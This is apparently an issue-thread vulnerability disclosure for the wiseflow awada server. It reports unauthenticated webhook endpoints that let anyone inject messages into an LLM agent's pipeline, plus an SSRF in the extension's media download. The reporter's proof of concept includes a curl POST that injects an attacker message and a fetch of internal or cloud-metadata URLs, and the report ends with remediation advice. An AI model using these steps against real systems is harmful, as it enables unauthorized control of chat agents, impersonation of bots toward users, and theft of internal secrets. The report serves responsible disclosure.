[Security] Unauthenticated webhook injects arbitrary messages into the agent pipeline; extension fetches message media URLs without validation (SSRF)

[geo-chen]

Hi. Is there a place I can share details of a potential vulnerability please?

[bigbrother666sh]

sure, welcome

[geo-chen]

Package: wiseflow (awada subsystem: awada-server / awada-extension)
Affected Versions: confirmed on commit 3ca086a
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N (Score 8.1)
CWE: CWE-306 - Missing Authentication for Critical Function (chains to CWE-918 SSRF)

Summary

The awada-server webhook endpoints accept POST requests with no authentication or signature
verification. The /webhook_worktool endpoint, when no robotId query parameter is supplied,
defaults to the first configured bot, so an unauthenticated attacker needs no precondition to
inject an arbitrary message into the agent's Redis inbound pipeline; the agent then processes
that message (LLM, skills, replies to real chat users). The downstream extension fetches any
media file_url contained in a message with no URL validation, providing an SSRF primitive.

Details

The Koa application registers only an error handler, a request logger, and a body parser before
mounting the webhook routers; there is no authentication/signature middleware
(awada/awada-server/src/app.ts). The WorkTool handler resolves the bot from the robotId
query parameter and falls back to the first configured WorkTool bot when it is absent
(awada/awada-server/src/routes/webhook-worktool.ts):

router.post('/', async (ctx) => {
  let robotId = ctx.query.robotId as string;
  if (!robotId) {
    const worktoolBots = getBotManager().getAllBots().filter(b => b.type === 'worktool');
    if (worktoolBots.length > 0) robotId = worktoolBots[0].deviceGuid;   // default, no secret needed
  }
  ctx.body = { code: 0, message: 'received' };
  ... // parse message, then EventProducer().createAndPublishInbound(...) -> Redis inbound stream
});

The parsed message is published to the Redis inbound stream consumed by the agent. (The qiwe
/webhook endpoint is also unauthenticated, but handleRawMessage drops messages whose guid
does not match a configured bot's deviceGuid, so that endpoint requires knowledge of a bot
guid; /webhook_worktool does not.)

The extension's media handler fetches any URL in the message with no validation
(awada/awada-extension/src/message-handler.ts):

async function downloadToTemp(url, ext) {
  const res = await fetch(url);          // no scheme/host/IP check, no redirect limit
  const buffer = Buffer.from(await res.arrayBuffer());
  await writeFile(join(ensureMediaTmpDir(), `awada-${randomUUID()}${ext}`), buffer);
  return filePath;
}
// called as downloadToTemp(img.file_url, ext) / file.file_url / audio.file_url

PoC

Validated live against the real awada-server (booted with config + bot manager + a real Redis)
and the real fetch sink.

Leg 1 - unauthenticated injection into the Redis pipeline (no robotId, no auth):

curl -X POST "http://<awada-server>:8088/webhook_worktool" -H 'Content-Type: application/json' \
  -d '{"spoken":"INJECTED_BY_ATTACKER_marker_7731","rawSpoken":"INJECTED_BY_ATTACKER_marker_7731",
       "receivedName":"attacker-contact","groupName":"","roomType":2,"atMe":"true","textType":1}'
-> 200 {"code":0,"message":"received"}

The real Redis stream awada:events:inbound:user then contains:

{"type":"MESSAGE_NEW","meta":{"platform":"worktool:testbot","lane":"user","actor_type":"end_user",
 "user_id_external":"attacker-contact", ...},"payload":[{"type":"text","text":"INJECTED_BY_ATTACKER_marker_7731"}]}

(server log: "📤 消息已发布到 Redis - lane=user, payload=[text:INJECTED_BY_ATTACKER_marker_77]")

Leg 2 - the extension media fetch is an unguarded SSRF (ran the exact downloadToTemp sequence
against an internal listener):

downloadToTemp("http://127.0.0.1:9911/latest/meta-data/", ".html")
-> listener received the request; function returned the internal body "INTERNAL_METADATA_SECRET_marker_2244"

An attacker supplies an image/file/audio message whose file_url points at an internal host or
http://169.254.169.254/...; the extension fetches it and surfaces the content to the agent.

Validation scope (honest): the unauthenticated injection into the real Redis pipeline (leg 1)
and the unguarded media fetch sink (leg 2) were each reproduced live. The openclaw extension
consume-loop that carries an image file_url from the inbound event into downloadToTemp was
not booted (it requires the full openclaw runtime), so the two validated ends were not chained
in a single process.

Impact

An unauthenticated network client injects arbitrary messages into the bot's agent pipeline,
causing the agent to process attacker-controlled content, invoke skills, and reply as the bot to
real chat users. With a media message, the same path provides an SSRF that fetches internal
services or the cloud metadata endpoint and surfaces the response to the agent.

Suggested remediation: require a shared secret or signature on the webhook endpoints (verify the
WorkTool key / a per-deployment token with constant-time comparison) and reject unauthenticated
requests; do not default robotId to a configured bot for unauthenticated callers; validate
file_url before fetching (allow only http/https to non-private hosts after DNS resolution, with
redirects re-checked).

[bigbrother666sh]

good questions
can you kindly supply a PR to solve this problem, so help the commity?